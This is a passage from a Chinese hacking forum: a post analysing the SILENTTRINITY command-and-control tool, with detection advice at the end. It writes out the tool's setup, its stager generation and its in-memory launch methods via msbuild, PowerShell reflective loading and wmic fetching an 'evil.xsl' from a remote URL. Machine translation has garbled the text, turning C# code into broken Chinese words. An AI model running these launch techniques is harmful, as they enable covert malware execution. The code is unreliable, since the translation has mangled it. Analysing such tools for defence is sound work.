跳转到帖子

搜索论坛

显示结果为标签'SILENTTRINITY'。

  • 用标签来搜索

    用逗号分隔标签类型
  • 用作者来搜索

内容类型


论坛

  • 漏洞与黑客攻击防御安全领域
    • 黑客攻防业务合作
    • 世界黑客新闻动态
    • WEB和服务器安全漏洞
    • CHT漏洞数据库
    • Linux Kali高级学习教程
    • CTF&密码学与社会工程
    • 木马病毒分析
    • 黑客世界会员中心
  • 问题讨论中心
    • 问答中心
    • 交流中心
  • 编程开发
    • 各种编程技术
    • ios /安卓开发
  • CHT官方团队介绍及比赛制度
    • CTF攻防系统[供会员使用]
    • 积分商场
    • 积分跳马系统
    • 积分统计系统

产品组

  • Hacker attack and defense security hardware series
  • Internet Security Book Recommendations

博客

没有结果。

没有结果。

类别

  • Hacker Attack and Defense & Network Security Videos

查找结果在…

查找包含的结果…


创建日期

  • 开始

    结束


最后更新

  • 开始

    结束


按数量过滤…

注册日期

  • 开始

    结束


用户组


About Me

找到1个结果

  1. 0x00 前言 SILENTTRINITY是一款C2工具,由byt3bl33d3r开源。用C#实现,使用IronPython引擎执行Python代码,值得研究。这个工具通过Python实现有效载荷,不仅提高了效率,而且使用IronPython引擎从内存加载有效载荷,更加隐蔽。 本文将从技术研究的角度对沉默三位一体原则进行分析和扩展,最后给出防御侦查的一些建议。 地址: https://github.com/byt3bl33d3r/SILENTTRINITY 0x01 简介 本文将介绍以下内容: SILENTTRINITY的简单用法 SILENTTRINITY的实现细节 # C用IronPython调用Python的方法 辩护建议 0x02 SILENTTRINITY的简单使用 方法类似于meterpreter。 1、安装 git克隆https://github.com/byt3bl33d3r/SILENTTRINITY.git cd SILENTTRINITY python3 -m pip安装要求. txt python3 st.py 2、开启teamserver python3 teamserver.py 3、连接teamserver python 3 ST . py WSS://用户名:@:5000 4、开启监听 听众 使用http 选择 开始 5、生成payload 舞台演员 目录 使用msbuild 生成http 6、启动方式之一 C:\Windows\Microsoft。NET \ framework 64 \ v 4 . 0 . 30319 \ msbuild . exe msbuild . XML 0x03 SILENTTRINITY的实现细节 源代码的文件结构如下: SILENTTRINITY,核心文件,用C#开发,exe格式 SILENTTRINITY_DLL,同上,但为DLL格式 服务器,控制端,包括用Python实现的多个有效载荷。 SILENTTRINITY和SILENTTRINITY_DLL功能相同,只是文件格式不同,这里我们以SILENTTRINITY为例。 1、SILENTTRINITY 实现的功能可以参考下图右半部分: 注: 这幅画引自https://github.com/byt3bl33d3r/SILENTTRINITY 详情如下: 1. 启动IronPython引擎,释放资源文件并导入Python环境 资源文件名:IronPython。标准库 压缩包中的文件是Python的默认模块。 如果安装了IronPython,压缩包的文件与默认安装路径下C:\ Program Files \ IronPython 2.7 \ lib中的文件内容一致。 IronPython下载地址: https://github . com/iron languages/iron python 2/releases/tag/ipy-2 . 7 . 9 2. 从Server下载stage.zip stage.zip中有五个文件: IronPython.dll IronPython。Modules.dll 微软。Dynamic.dll 微软。Scripting.dll Main.py 其中,前四个是IronPython引擎的依赖文件,Main.py是主程序,用于接收控制命令,加载有效载荷,返回输出结果。 3. 利用IronPython调用Python 这将在后面详细描述。 2、Server 作为控制端 模块文件夹包含所有支持的Python脚本。 RS文件夹下有三种启动方式: msbuild powershell wmic 1. msbuild 启动模式: C:\Windows\Microsoft。NET \ framework 64 \ v 4 . 0 . 30319 \ msbuild . exe msbuild . XML 流程: msbuild.exe-。xml-C# 通过msbuild.xml加载msbuild.xml,在。这里用的是NET Framework 4.0,包含在UsingTask元素中,可以用来执行xml文件中的c#代码。 Msbuild.xml实现加密字符串的base64解码,解密SILENTTRINITY,最后加载到内存中(C#实现) 我在上一篇文章中使用了这种方法进行分析: 《Use MSBuild To Do More》 2. powershell 启动模式: 执行powershell脚本 流程: powershell.exe-.ps1-C# 同样,加密的字符串用base64解码,SILENTTRINITY解密,最后加载到内存中(Powershell实现)。关键代码如下: $ ASM=[反射。assembly]:Load($ uncompressed file bytes) $type=$asm。GetType('ST ') $main=$type。GetMethod('Main ') 表示在exe的Main下加载ST方法。 我在上一篇文章中使用了这种方法进行分析: 《利用Assembly Load LoadFile绕过Applocker的分析总结》 3. wmic 启动模式: c:\ Windows \ System32 \ WBEM \ wmic . exe OS get/format:' evil . xsl ' 或者 c:\ Windows \ System32 \ WBEM \ wmic . exe OS get/format:' https://example . com/evil . xsl ' 流程: wmic.exe-。xsl-javascript 通过wmic.exe加载wmic.xsl,wmic.xsl可以放在本地或远程服务器上 类似地,加密的字符串由base64解码,SILENTTRINITY解密,最后加载到内存中(JavaScript实现)。 我在上一篇文章中使用了这种方法进行分析: 《利用wmic调用xsl文件的分析与利用》 4. 其他可供利用的方法 SILENTTRINITY不包括在内,这里作为扩展,例如: regsvr32.exe,《Code Execution of Regsvr32.exe》 rundll32.exe,《关于利用rundll32执行程序的分析》 0x04 C#利用IronPython调用Python的方法 需要使用IronPython,参考资料: https://ironpython.net/ 本节介绍一些基本用法,有助于进一步扩展沉默的三位一体的功能 1、常用的基本脚本 下载安装IronPython: https://github。com/iron languages/iron python 2/tree/master/Src/iron python编译器 开发工具:VS2015 新建C#工程,添加引用: 铁皮洪 微软。脚本 注: 编译后生成的可执行程序的扩展名在执行时需要以下依赖文件: IronPython.dll IronPython .Modules.dll(有的工程不需要) 微软。Dynamic.dll 微软。Scripting.dll 1.简单的hello world程序,调用test.py,输出Hello World 代码1: 使用系统; 使用系统。集合。泛型; 使用系统100 . Linq 使用系统。文本; 使用IronPython .托管; 命名空间IronPythonTest { 班级计划 { 静态void Main(string[] args) { var engine=Python .创建引擎(); 引擎执行文件(' test。py’); } } } 测试。py: 打印(“你好世界”) 2.向python脚本传参数并输出 代码2: 使用系统; 使用系统。集合。泛型; 使用系统100 . Linq 使用系统。文本; 使用IronPython .托管; 命名空间IronPythonTest { 班级计划 { 静态void Main(string[] args) { var engine=Python .创建引擎(); 定义变量范围=发动机create scope(); 范围SetVariable('argv ',' Hello World '); 引擎ExecuteFile('test.py ',作用域); } } } 测试。py: 打印(' %s'%argv) 3.调用python脚本的main函数 代码3: 使用系统; 使用系统。集合。泛型; 使用系统100 . Linq 使用系统。文本; 使用IronPython .托管; 命名空间IronPythonTest { 班级计划 { 静态void Main(string[] args) { var engine=Python .创建引擎(); 定义变量范围=发动机create scope(); 引擎ExecuteFile('test.py ',作用域); 动态主=范围get变量(' main '); main(); } } } 测试。py: def main(): 打印(“你好世界”) if __name__=='__main__ ': 主("") 4.将python脚本的内容存储在变量中并执行 代码4: 使用系统; 使用系统。集合。泛型; 使用系统100 . Linq 使用系统。文本; 使用IronPython .托管; 命名空间IronPythonTest { 班级计划 { 静态void Main(string[] args) { string script=' print(' % s ' % argv '); var engine=Python .创建引擎(); 定义变量范围=发动机create scope(); 范围SetVariable('argv ',' Hello World '); 定义变量源代码=引擎CreateScriptSourceFromString(脚本); 源代码。执行(范围); } } } 5.python脚本支持第三方库 代码5: 使用系统; 使用系统。集合。泛型; 使用系统100 . Linq 使用系统。文本; 使用IronPython .托管; 命名空间IronPythonTest { 班级计划 { 静态void Main(string[] args) { var engine=Python .创建引擎(); 引擎SetSearchPaths(new[]{ ' Lib ' }); 引擎执行文件(' test。py’); } } } 找到IronPython的安装路径,默认为C:\Program Files\IronPython 2.7 将其中的解放运动目录复制到编译生成的IronPythonTest.exe的同级目录下 测试。py: 导入操作系统 os.system('calc.exe ') 2、使用ipyc将python脚本编译成exe 类似于py2exe的功能 源码: https://github。com/iron languages/iron python 2/tree/master/Src/iron python编译器 编译好的文件可从IronPython的目录中获得 默认安装位置: c:\ Program Files \ iron python 2.7 \ ipyc。可执行程序的扩展名 0x05 防御检测 沉默的三位一体的启动程序本身不包含恶意的功能,只是从远程服务器下载文件并利用IronPython调用Python,这是一个完全正常的功能 启动方式上利用了Windows操作系统操作系统系统本身自带的程序(例如msbuild.exe、powershell.exe、wmic.exe、也可以扩展成regsvr32.exe或rundll32.exe),较为隐蔽 但沉默的三位一体需要发起网络连接,传输stage.zip和计算机编程语言脚本,所以如果程序调用了IronPython并发起了网络连接,极有可能是存在风险的行为 0x06 小结 分析了SILENTTRINITY的实现细节,提出了一些扩展思路,介绍了C#用IronPython调用Python的方法,并结合SILENTTRINITY的特点给出了一些防御检测的建议。 留下回复

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    ×
    ×
    • 创建新的...